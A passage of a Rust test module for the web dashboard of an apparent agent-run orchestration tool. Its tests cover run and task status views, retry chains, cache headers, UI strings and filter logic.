26330        let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
26331        assert_eq!(task["status"], "held");
26332        assert_eq!(task["is_latest"], true);
26333        assert!(task["latest"].is_null());
26334        assert!(task["finished_by"].is_null());
26335        assert_eq!(task["closed_by_hand"], false);
26336    }
26337
26338    #[tokio::test]
26339    async fn a_direct_run_has_no_task_outcome() {
26340        let fx = Fixture::start().await;
26341        let runs = fx.runs();
26342        let id = "20260901-000000-aaaa";
26343        write_run(&runs, id, RunStatus::Blocked);
26344        let view = fx.get(&format!("/api/runs/{id}")).await.json();
26345        assert!(view["task"].is_null());
26346    }
26347
26348    #[test]
26349    fn task_outcome_does_not_guess_a_finishing_run() {
26350        let a = "20260901-000000-aaaa";
26351        let b = "20260901-000000-bbbb";
26352        let c = "20260901-000000-cccc";
26353        let dir = tempfile::tempdir().expect("tempdir");
26354        write_run(dir.path(), a, RunStatus::Blocked);
26355        write_run(dir.path(), b, RunStatus::VerifiedNoop);
26356        // `c` has no record: unreadable.
26357        let read = |id: &str| read_run(dir.path(), id).ok();
26358        // Neither a blocked run nor a no-op finished the task; the newest run is
26359        // unreadable and still named.
26360        let t = outcome_task(&[a, b, c], TaskStatus::Done);
26361        let out = task_outcome(&t, a, 3, read);
26362        assert!(out.finished_by.is_none());
26363        assert!(out.closed_by_hand);
26364        let latest = out.latest.expect("latest");
26365        assert_eq!(latest.id, c);
26366        assert_eq!(latest.status, None);
26367        assert_eq!(latest.outcome, "record unreadable");
26368
26369        // A Ready run settles the task as done, so it is named as the finisher.
26370        write_run(dir.path(), c, RunStatus::Ready);
26371        let t = outcome_task(&[a, c], TaskStatus::Done);
26372        let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
26373        assert_eq!(out.finished_by.expect("finisher").id, c);
26374        assert!(!out.closed_by_hand);
26375
26376        // A resumed run id repeats: it is still the latest by id.
26377        let t = outcome_task(&[a, b, a], TaskStatus::Held);
26378        assert!(task_outcome(&t, a, 3, read).is_latest);
26379    }
26380
26381    #[tokio::test]
26382    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
26383        // The list route has known this since the card fix above; the detail
26384        // route — what an operator actually opens from a notification about
26385        // a blocked run — did not, and went on showing a bare red BLOCKED
26386        // chip for a run a retry had already finished.
26387        let fx = Fixture::start().await;
26388        let q = fx.queue();
26389        let runs = fx.runs();
26390        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
26391        write_run(&runs, first, RunStatus::Blocked);
26392        write_run(&runs, second, RunStatus::Merged);
26393
26394        let mut t = Task::new(
26395            "one task".to_owned(),
26396            "do it".to_owned(),
26397            PathBuf::from("/repo"),
26398            Source::Human,
26399        );
26400        t.runs = vec![first.to_owned(), second.to_owned()];
26401        q.put(&mut t).expect("put");
26402
26403        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
26404        assert_eq!(earlier["superseded_by"], "dddd");
26405        assert_eq!(earlier["latest_attempt"]["id"], second);
26406        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
26407        assert_eq!(
26408            earlier["latest_attempt"]["resolved"], true,
26409            "the run that replaced it landed, so this one reads as settled"
26410        );
26411
26412        let later = fx.get(&format!("/api/runs/{second}")).await.json();
26413        assert!(
26414            later["superseded_by"].is_null(),
26415            "the latest attempt is not superseded by anything"
26416        );
26417        assert!(
26418            later["latest_attempt"].is_null(),
26419            "the latest attempt has no later attempt of its own"
26420        );
26421
26422        // Front end: the detail page has to read the field this route now
26423        // carries, downgrade the chip, and link to the run that replaced it —
26424        // not just repeat the list card's own logic under a different name.
26425        // The link is built off `latest_attempt.id`, the server-resolved
26426        // full id, never a bare short string a client would have to guess a
26427        // full run from.
26428        assert!(APP_JS.contains("run.latest_attempt"));
26429        assert!(APP_JS.contains("data-superseded"));
26430        assert!(APP_JS.contains("#/runs/${latest.id}"));
26431    }
26432
26433    #[tokio::test]
26434    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
26435        // A -> B -> C, all Blocked except the last. A's immediate successor
26436        // (superseded_by) is B, which is itself unresolved; what an operator
26437        // opening A's page actually needs is where the task's story stands
26438        // *now* - C, not B - without depending on whether C happens to be in
26439        // whatever page of /api/runs the client last cached.
26440        let fx = Fixture::start().await;
26441        let q = fx.queue();
26442        let runs = fx.runs();
26443        let (a, b, c) = (
26444            "20260901-000000-aaaa",
26445            "20260901-000000-bbbb",
26446            "20260901-000000-cccc",
26447        );
26448        write_run(&runs, a, RunStatus::Blocked);
26449        write_run(&runs, b, RunStatus::Blocked);
26450        write_run(&runs, c, RunStatus::Merged);
26451
26452        let mut t = Task::new(
26453            "retried twice".to_owned(),
26454            "do it".to_owned(),
26455            PathBuf::from("/repo"),
26456            Source::Human,
26457        );
26458        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
26459        q.put(&mut t).expect("put");
26460
26461        let view = fx.get(&format!("/api/runs/{a}")).await.json();
26462        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
26463        assert_eq!(
26464            view["latest_attempt"]["id"], c,
26465            "the chain's current head, not the intermediate Blocked retry"
26466        );
26467        assert_eq!(view["latest_attempt"]["resolved"], true);
26468
26469        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
26470        assert_eq!(mid["latest_attempt"]["id"], c);
26471        assert_eq!(mid["latest_attempt"]["resolved"], true);
26472    }
26473
26474    #[tokio::test]
26475    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
26476        let fx = Fixture::start().await;
26477        let q = fx.queue();
26478        let runs = fx.runs();
26479
26480        // Still Blocked: the task is not resolved, so the older run must not
26481        // read as settled either.
26482        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
26483        write_run(&runs, still_blocked_a, RunStatus::Blocked);
26484        write_run(&runs, still_blocked_b, RunStatus::Blocked);
26485        let mut t1 = Task::new(
26486            "still stuck".to_owned(),
26487            "do it".to_owned(),
26488            PathBuf::from("/repo"),
26489            Source::Human,
26490        );
26491        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
26492        q.put(&mut t1).expect("put");
26493        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
26494        assert_eq!(view1["latest_attempt"]["resolved"], false);
26495        assert_eq!(view1["latest_attempt"]["status"], "blocked");
26496        assert_eq!(view1["latest_attempt"]["done"], true);
26497
26498        // Still running: the successor exists and must be reported as such.
26499        let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
26500        write_run(&runs, run_a, RunStatus::Blocked);
26501        write_run(&runs, run_b, RunStatus::Implementing);
26502        let mut t3 = Task::new(
26503            "retrying".to_owned(),
26504            "do it".to_owned(),
26505            PathBuf::from("/repo"),
26506            Source::Human,
26507        );
26508        t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
26509        q.put(&mut t3).expect("put");
26510        let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
26511        assert_eq!(view3["latest_attempt"]["id"], run_b);
26512        assert_eq!(view3["latest_attempt"]["resolved"], false);
26513        assert_eq!(view3["latest_attempt"]["done"], false);
26514
26515        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
26516        // to check - not a confirmed finish, so this must not read as
26517        // resolved either, even though the run is done in the sense that
26518        // nothing is still running.
26519        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
26520        write_run(&runs, noop_a, RunStatus::Blocked);
26521        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
26522        let mut t2 = Task::new(
26523            "claims done".to_owned(),
26524            "do it".to_owned(),
26525            PathBuf::from("/repo"),
26526            Source::Human,
26527        );
26528        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
26529        q.put(&mut t2).expect("put");
26530        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
26531        assert_eq!(
26532            view2["latest_attempt"]["resolved"], false,
26533            "an unverified no-op claim must not read as a confirmed finish"
26534        );
26535
26536        // Front end: an unresolved successor must not carry the "finished
26537        // this work" note or the muted chip treatment.
26538        assert!(APP_JS.contains("latest.resolved"));
26539        // ...but the link to it shows as soon as it exists, labelled by state
26540        // and without the "finished" wording or the muted chip.
26541        assert!(APP_JS.contains("successorNote(latest, inFlight)"));
26542        assert!(APP_JS.contains("Latest attempt: "));
26543        assert!(APP_JS.contains("in flight"));
26544        assert!(APP_JS.contains("not resolved"));
26545    }
26546
26547    #[tokio::test]
26548    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
26549        let fx = Fixture::start().await;
26550        // No cache header at all meant browsers invented their own policy,
26551        // and one did: a phone went on showing "Candidates must be folded
26552        // before deleting. Run `magi fold` first." - deleted two releases
26553        // earlier - from a deck that no longer contained the sentence. The
26554        // button it named was right there, and unreachable.
26555        let js = fx.get("/app.js").await;
26556        assert_eq!(js.status, 200);
26557        let tag = js
26558            .header("etag")
26559            .expect("an etag to revalidate against")
26560            .to_owned();
26561        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
26562        assert_eq!(
26563            js.header("cache-control"),
26564            Some("no-cache, must-revalidate"),
26565            "the phone has to ask every time"
26566        );
26567
26568        // And the asking has to be cheap, or `must-revalidate` just means
26569        // "send the whole interface on every load".
26570        let again = fx
26571            .get_with("/app.js", &[("if-none-match", tag.as_str())])
26572            .await;
26573        assert_eq!(
26574            again.status, 304,
26575            "a deck it already has costs one round trip"
26576        );
26577        assert!(again.body.is_empty(), "304 carries no body");
26578
26579        // A weakened tag from a proxy still matches; a different build does
26580        // not, which is the case that has to deliver the new interface.
26581        let weak = fx
26582            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
26583            .await;
26584        assert_eq!(weak.status, 304);
26585        let stale = fx
26586            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
26587            .await;
26588        assert_eq!(stale.status, 200, "an older build must be replaced");
26589        assert!(stale.body.contains("renderRunActions"));
26590    }
26591
26592    #[test]
26593    fn the_task_detail_has_an_actions_fab_and_sheet() {
26594        assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
26595        assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
26596        assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
26597        // Shown only on the task route, closed everywhere else.
26598        assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
26599        assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
26600        // Refreshed whenever the detail redraws, including the loading state.
26601        assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
26602        assert!(APP_JS.contains("renderTaskActions(null);"));
26603        // Same action renderers as the Queue card. Bound this check by the
26604        // next function, since additional task controls can grow the sheet.
26605        let (_, sheet) = APP_JS
26606            .split_once("function renderTaskActions(task) {")
26607            .expect("sheet renderer");
26608        let (body, _) = sheet
26609            .split_once("\nfunction openTaskActions() {")
26610            .expect("end of sheet renderer");
26611        assert!(body.contains("changePriority("));
26612        assert!(body.contains("openTaskEdit(task)"));
26613        assert!(body.contains("renderTaskHoldBox(host"));
26614        assert!(body.contains("renderTaskDoneBox(host"));
26615        assert!(body.contains("renderTaskDeleteBox(host"));
26616        assert!(APP_JS.contains("API.priority(id)"));
26617        assert!(APP_JS.contains("API.deleteTask(id)"));
26618        // A deleted task sends the operator back to the queue.
26619        assert!(APP_JS.contains("location.hash = \"#/queue\""));
26620        // A refusal is shown inside the sheet.
26621        assert!(APP_JS.contains("$(\"task-actions-error\")"));
26622    }
26623
26624    #[test]
26625    fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
26626        let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
26627        let actions = INDEX_HTML
26628            .find("id=\"run-actions-box\"")
26629            .expect("actions box");
26630        assert!(task < actions, "the task entry comes first in the sheet");
26631        assert!(APP_JS.contains("renderRunTaskEntry"));
26632        assert!(APP_JS.contains("\"Open task \""));
26633        // A run without a task says why there is nothing to open.
26634        assert!(APP_JS.contains("started directly, no task"));
26635        assert!(APP_JS.contains("sheet-task-link"));
26636        assert!(APP_JS.contains("task-chip-link"));
26637    }
26638
26639    #[test]
26640    fn the_deck_never_sends_the_operator_to_a_terminal() {
26641        // The whole point of the phone UI is that a terminal is not needed.
26642        // The delete control used to answer with "Run `magi fold` first."
26643        assert!(
26644            !APP_JS.contains("Run `magi fold` first"),
26645            "the deck must offer the fold, not prescribe a shell command"
26646        );
26647        assert!(APP_JS.contains("foldRun:"));
26648        assert!(APP_JS.contains("resumeRun:"));
26649        assert!(APP_JS.contains("renderRunActions"));
26650
26651        // Folding is destructive and armed in two steps, like deleting.
26652        assert!(APP_JS.contains("armedFold"));
26653        assert!(APP_JS.contains("Yes, fold worktrees"));
26654
26655        // And the copy has to say that the two actions are opposites, because
26656        // folding throws away exactly what a resume would continue from.
26657        assert!(APP_JS.contains("can no longer be resumed"));
26658    }
26659
26660    #[test]
26661    fn a_finished_run_explains_itself_with_its_own_last_line() {
26662        // The deck used to answer "why did this stop?" with a sentence chosen
26663        // by status alone. Run e633 stalled because two judges answered with
26664        // the wrong JSON shape and its card said "The panel collapsed on
26665        // agent quota" - with `quota: []` in the record and a quota-loss
26666        // counter right above it that correctly said nothing.
26667        assert!(
26668            !APP_JS.contains("collapsed on agent quota"),
26669            "a stall must not be explained by a cause the deck did not check"
26670        );
26671        assert!(
26672            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
26673            "and a block must not offer a guess with an `or` in it"
26674        );
26675
26676        // The reason it does have is `run.event`, which must reach finished
26677        // runs: gating it on movement hid the recorded truth at the one moment
26678        // the operator is reading the card to find out what happened.
26679        assert!(
26680            APP_JS.contains("setText(r.event, run.event || \"\")"),
26681            "the run's last line is rendered unconditionally"
26682        );
26683        assert!(
26684            !APP_JS.contains("moving && run.event"),
26685            "and never gated on the run still moving"
26686        );
26687
26688        // Quota keeps its own counter, fed by the number actually recorded.
26689        assert!(APP_JS.contains("lost to quota"));
26690    }
26691
26692    /// The runs tree (section) and the state chips (waiting/done) are two
26693    /// independent lenses ANDed together in `renderRuns`, and some pairings
26694    /// can never both be true for any run - every "Landed"/"Ended" run is
26695    /// done by construction, so pairing either with "Active" or "In flight"
26696    /// always rendered zero cards with the filter bar still claiming
26697    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
26698    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
26699    /// a handful of (waiting, status) shapes standing in for the run
26700    /// lifecycle, because `cargo test` cannot execute the front end.
26701    ///
26702    /// That stand-in list is itself the part that drifted twice in review:
26703    /// once shipped with `waiting: true` paired with a done status the
26704    /// lifecycle cannot produce, then over-corrected into treating every
26705    /// waiting run as never done - which made "Waiting on you" look
26706    /// incompatible with "Done" even for the one real, reachable shape
26707    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
26708    /// that combination. This test parses the shapes and the done-rule back
26709    /// out of `APP_JS`, reimplements `runSection` and the five state
26710    /// predicates independently in Rust, and checks the resulting
26711    /// section/filter compatibility table against the lifecycle rules by
26712    /// hand - so either direction of drift fails it again.
26713    #[test]
26714    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
26715        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
26716        let shapes_body_start =
26717            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
26718        let shapes_close = APP_JS[shapes_body_start..]
26719            .find("].map(")
26720            .expect("the shape list is closed by its done-computing .map(...)")
26721            + shapes_body_start;
26722        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
26723
26724        let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
26725        for entry in shapes_src.split('{').skip(1) {
26726            let waiting = entry.contains("waiting: true");
26727            let dead = entry.contains("live: \"dead\"");
26728            let status_at =
26729                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
26730            let status_end = entry[status_at..]
26731                .find('"')
26732                .expect("the status string is closed")
26733                + status_at;
26734            let parked = entry.contains("display_status: \"parked\"");
26735            shapes.push((
26736                waiting,
26737                entry[status_at..status_end].to_string(),
26738                dead,
26739                parked,
26740            ));
26741        }
26742        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
26743
26744        // The done rule itself (`!["implementing"].includes(shape.status)`),
26745        // read out of the source rather than hardcoded, so a renamed
26746        // in-flight status can't silently make every parsed shape "done".
26747        let done_rule_marker = "done: !";
26748        let done_rule_at = APP_JS[shapes_close..]
26749            .find(done_rule_marker)
26750            .expect("the done rule follows the shape list")
26751            + shapes_close
26752            + done_rule_marker.len();
26753        let includes_at = APP_JS[done_rule_at..]
26754            .find(".includes(shape.status)")
26755            .expect("the done rule ends in .includes(shape.status)")
26756            + done_rule_at;
26757        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
26758            .trim()
26759            .trim_start_matches('[')
26760            .trim_end_matches(']')
26761            .split(',')
26762            .map(|s| s.trim().trim_matches('"'))
26763            .filter(|s| !s.is_empty())
26764            .collect();
26765
26766        let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
26767            .into_iter()
26768            .map(|(waiting, status, dead, parked)| {
26769                let done = !not_done.contains(&status.as_str());
26770                (waiting, status, dead, parked, done)
26771            })
26772            .collect();
26773
26774        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
26775        // outright, then merged/ready land, stalled/blocked/failed/
26776        // verified_noop end, and everything else is still in flight.
26777        fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
26778            if waiting {
26779                return "waiting";
26780            }
26781            if dead
26782                && !parked
26783                && !matches!(
26784                    status,
26785                    "merged"
26786                        | "ready"
26787                        | "stalled"
26788                        | "blocked"
26789                        | "failed"
26790                        | "verified_noop"
26791                        | "superseded"
26792                        | "already_in_base"
26793                )
26794            {
26795                return "stale";
26796            }
26797            match status {
26798                "merged" | "ready" => "landed",
26799                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
26800                | "already_in_base" => "ended",
26801                _ => "flight",
26802            }
26803        }
26804
26805        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
26806        // way.
26807        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
26808            match filter_key {
26809                "active" => !done,
26810                "flight" => !done && !waiting && !dead,
26811                "stale" => !done && !waiting && dead,
26812                "waiting" => waiting,
26813                "done" => done,
26814                "all" => true,
26815                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
26816            }
26817        }
26818
26819        let compatible = |section: &str, filter_key: &str| {
26820            shapes.iter().any(|(waiting, status, dead, parked, done)| {
26821                run_section(*waiting, status, *dead, *parked) == section
26822                    && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
26823            })
26824        };
26825
26826        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
26827        // (active, flight, stale, waiting, done, all) - hand-derived from the
26828        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
26829        // currently contains.
26830        let expected = [
26831            ("waiting", [true, false, false, true, true, true]),
26832            ("stale", [true, false, true, false, false, true]),
26833            ("flight", [true, true, false, false, false, true]),
26834            ("landed", [false, false, false, false, true, true]),
26835            ("ended", [false, false, false, false, true, true]),
26836        ];
26837        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
26838
26839        for (section, wants) in expected {
26840            for (filter_key, want) in filter_keys.iter().zip(wants) {
26841                assert_eq!(
26842                    compatible(section, filter_key),
26843                    want,
26844                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
26845                );
26846            }
26847        }
26848
26849        // The compatibility check exists only to be acted on: both pickers
26850        // must actually consult it rather than just render its answer.
26851        assert!(
26852            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
26853        );
26854        assert!(APP_JS.contains(
26855            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
26856        ));
26857        assert!(APP_JS.contains(
26858            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
26859        ));
26860    }
26861
26862    #[tokio::test]
26863    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
26864        // An operator-named directory - git checkout or not - is never
26865        // second-guessed, even when it does not exist at all: only the
26866        // flag's own unmodified `.` default is ever eligible for discovery.
26867        let dir = tempfile::tempdir().expect("tempdir");
26868        let explicit = dir.path().join("not-a-checkout");
26869        std::fs::create_dir_all(&explicit).expect("create dir");
26870        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
26871
26872        let missing = dir.path().join("does-not-exist-at-all");
26873        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
26874    }
26875
26876    #[test]
26877    fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
26878        assert!(APP_JS.contains("function statsDonutArcs"));
26879        assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
26880        // A bucket click filters by the statuses src/stats.rs counts in it.
26881        assert!(APP_JS.contains("function statusInBucket"));
26882        assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
26883        assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
26884        let buckets = [
26885            "merged",
26886            "ready",
26887            "in_progress",
26888            "blocked",
26889            "failed",
26890            "verified_noop",
26891            "superseded",
26892            "stalled",
26893        ];
26894        for key in buckets {
26895            let var = format!("--verdict-{key}:");
26896            // Light, OS-dark and pinned-dark blocks each define it.
26897            assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
26898            assert!(
26899                APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
26900                "{key}"
26901            );
26902        }
26903    }
26904
26905    #[tokio::test]
26906    async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
26907        let dir = tempfile::tempdir().expect("tempdir");
26908        let queue = Queue::at(dir.path().join("queue"));
26909        let talks = Talks::at(dir.path().join("talks"));
26910        std::fs::create_dir_all(queue.root()).unwrap();
26911        std::fs::create_dir_all(talks.root()).unwrap();
26912
26913        // Put a corrupt json file in both stores
26914        std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
26915        std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
26916
26917        // Valid task and talk
26918        let mut task = Task::new(
26919            "title".into(),
26920            "inst".into(),
26921            PathBuf::from("/repo"),
26922            Source::Human,
26923        );
26924        task.id = "20261019-123456-abcd".into();
26925        // Write manually so it's a valid file
26926        std::fs::write(
26927            queue.path_of(&task.id),
26928            serde_json::to_string(&task).unwrap(),
26929        )
26930        .unwrap();
26931
26932        let talk_id = "20261019-234567-cdef";
26933        seed_talk_at(&talks, talk_id, "open");
26934
26935        // Exact match should succeed without failing on the corrupt json file
26936        assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
26937        assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
26938
26939        // Prefix match should also succeed by scanning file names without deserializing corrupt file
26940        assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
26941        assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
26942    }
26943
26944    #[tokio::test]
26945    async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
26946        let home = tempfile::tempdir().unwrap();
26947        let ui = delta_test_ui(home.path());
26948        // A full history traversal would fail even with no questions.
26949        std::fs::write(ui.queue.root(), "not a directory").unwrap();
26950        std::fs::write(ui.talks.root(), "not a directory").unwrap();
26951        assert!(
26952            questions_list(State(ui.clone()))
26953                .await
26954                .unwrap()
26955                .0
26956                .is_empty()
26957        );
26958        assert!(
26959            question_origins(State(ui.clone()))
26960                .await
26961                .unwrap()
26962                .0
26963                .is_empty()
26964        );
26965        let mut question = Question::new(
26966            "run-history".into(),
26967            "review".into(),
26968            "seat".into(),
26969            "Useful question".into(),
26970            "Useful detail".into(),
26971            vec![],
26972        );
26973        ui.questions.put(&mut question).unwrap();
26974        let core = questions_core(State(ui.clone())).await.unwrap().0;
26975        assert_eq!(core.len(), 1);
26976        assert_eq!(core[0].question.summary, "Useful question");
26977        assert!(!core[0].can_consult_chat);
26978        assert!(core[0].origin_chat.is_none());
26979        assert_eq!(core[0].record_revision, question_record_revision(&question));
26980        assert!(question_origins(State(ui.clone())).await.is_err());
26981        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
26982    }
26983
26984    #[tokio::test]
26985    async fn question_origins_resolve_typed_links_without_expanding_consultation() {
26986        let home = tempfile::tempdir().unwrap();
26987        let ui = delta_test_ui(home.path());
26988        let chat = seed_talk_at(&ui.talks, "origin-chat", "closed");
26989        let mut parent = Task::new(
26990            "parent".into(),
26991            "body".into(),
26992            PathBuf::from("/repo"),
26993            Source::Agent {
26994                run: chat.clone(),
26995                node: crate::queue::CHAT_NODE.into(),
26996            },
26997        );
26998        parent.id = "parent-task".into();
26999        parent.runs = vec!["parent-run".into()];
27000        ui.queue.put(&mut parent).unwrap();
27001        let mut previous = parent;
27002        for generation in 1..=2 {
27003            let mut child = Task::new(
27004                "child".into(),
27005                "body".into(),
27006                PathBuf::from("/repo"),
27007                Source::Human,
27008            );
27009            child.id = format!("child-task-{generation}");
27010            child.runs = vec![format!("child-run-{generation}")];
27011            child.followup = Some(crate::queue::FollowUp {
27012                origin_task: Some(previous.id.clone()),
27013                run: previous.runs[0].clone(),
27014                pr: String::new(),
27015                findings: vec![],
27016                generation,
27017            });
27018            ui.queue.put(&mut child).unwrap();
27019            previous = child;
27020        }
27021        // A run may have the same spelling as another task's id; its owner
27022        // must not override a typed task reference.
27023        let mut collision = Task::new(
27024            "collision".into(),
27025            String::new(),
27026            PathBuf::from("/repo"),
27027            Source::Human,
27028        );
27029        collision.id = "collision-task".into();
27030        collision.runs = vec![previous.id.clone()];
27031        ui.queue.put(&mut collision).unwrap();
27032        let mut questions = Vec::new();
27033        for (node, reference, expected, eligible) in [
27034            (crate::triage::NODE, previous.id.as_str(), true, false),
27035            (crate::triage::DEPS_NODE, previous.id.as_str(), true, false),
27036            ("review", previous.runs[0].as_str(), true, true),
27037            (
27038                crate::bump::NOTICE_NODE,
27039                previous.runs[0].as_str(),
27040                true,
27041                false,
27042            ),
27043            // Identical text in the wrong reference namespace is not evidence.
27044            ("review", previous.id.as_str(), false, false),
27045            (crate::triage::NODE, previous.runs[0].as_str(), false, true),
27046            ("review", "unrelated", false, false),
27047        ] {
27048            let mut q = Question::new(
27049                reference.into(),
27050                node.into(),
27051                "seat".into(),
27052                "Question".into(),
27053                String::new(),
27054                vec![],
27055            );
27056            ui.questions.put(&mut q).unwrap();
27057            questions.push((q, expected, eligible));
27058        }
27059        for (node, reference, associated, eligible) in [
27060            (crate::reconcile::NODE, previous.id.as_str(), true, false),
27061            (
27062                crate::reconcile::NODE,
27063                previous.runs[0].as_str(),
27064                false,
27065                true,
27066            ),
27067            ("implement", previous.id.as_str(), false, false),
27068        ] {
27069            let mut q = Question::new(
27070                reference.into(),
27071                node.into(),
27072                crate::reconcile::SEAT.into(),
27073                "Reconcile".into(),
27074                String::new(),
27075                vec![],
27076            );
27077            ui.questions.put(&mut q).unwrap();
27078            questions.push((q, associated, eligible));
27079        }
27080        let mut release = Question::new(
27081            "release-record".into(),
27082            crate::bump::NOTICE_NODE.into(),
27083            "release-watch".into(),
27084            "Release".into(),
27085            String::new(),
27086            vec![],
27087        );
27088        ui.questions.put(&mut release).unwrap();
27089        let watch = crate::release_watch::WatchState {
27090            question: Some(release.id.clone()),
27091            run: Some(previous.runs[0].clone()),
27092            held_task: Some(previous.id.clone()),
27093            ..Default::default()
27094        };
27095        let watch_dir = home.path().join("release-watch");
27096        std::fs::create_dir_all(&watch_dir).unwrap();
27097        let watch_path = watch_dir.join("watch.json");
27098        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
27099        // Ordinary questions and bump notices do not need watch-store I/O.
27100        for batch in [
27101            Vec::new(),
27102            questions.iter().map(|(q, _, _)| q.clone()).collect(),
27103        ] {
27104            let (_, _, watches) = question_origin_inputs(&ui, &batch).unwrap();
27105            assert!(watches.is_empty());
27106        }
27107        questions.push((release.clone(), true, false));
27108
27109        let views = questions_list(State(ui.clone())).await.unwrap().0;
27110        let origins = question_origins(State(ui.clone())).await.unwrap().0;
27111        for (q, associated, eligible) in &questions {
27112            let view = views.iter().find(|view| view.question.id == q.id).unwrap();
27113            let origin = origins.iter().find(|view| view.id == q.id).unwrap();
27114            let expected = associated.then_some(chat.as_str());
27115            assert_eq!(
27116                view.origin_chat.as_deref(),
27117                expected,
27118                "{} {}",
27119                q.node,
27120                q.run
27121            );
27122            assert_eq!(origin.origin_chat.as_deref(), expected);
27123            assert_eq!(view.origin_chat_closed, *associated);
27124            assert_eq!(origin.origin_chat_closed, *associated);
27125            assert_eq!(view.can_consult_chat, *eligible, "{} {}", q.node, q.run);
27126            assert_eq!(origin.can_consult_chat, *eligible);
27127        }
27128        // Either saved link independently recovers a release question's owner.
27129        for (run, held_task) in [(watch.run.clone(), None), (None, watch.held_task.clone())] {
27130            let link = crate::release_watch::WatchState {
27131                run,
27132                held_task,
27133                ..watch.clone()
27134            };
27135            std::fs::write(&watch_path, serde_json::to_vec(&link).unwrap()).unwrap();
27136            let (tasks, talks, watches) =
27137                question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
27138            assert_eq!(
27139                crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
27140                    .unwrap()
27141                    .id,
27142                chat,
27143            );
27144            assert!(crate::consult::origin_talk(&tasks, &talks, &release).is_none());
27145        }
27146        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
27147        // Even identical duplicate records are ambiguous: ignore their links.
27148        let duplicate_path = watch_dir.join("duplicate.json");
27149        std::fs::write(&duplicate_path, serde_json::to_vec(&watch).unwrap()).unwrap();
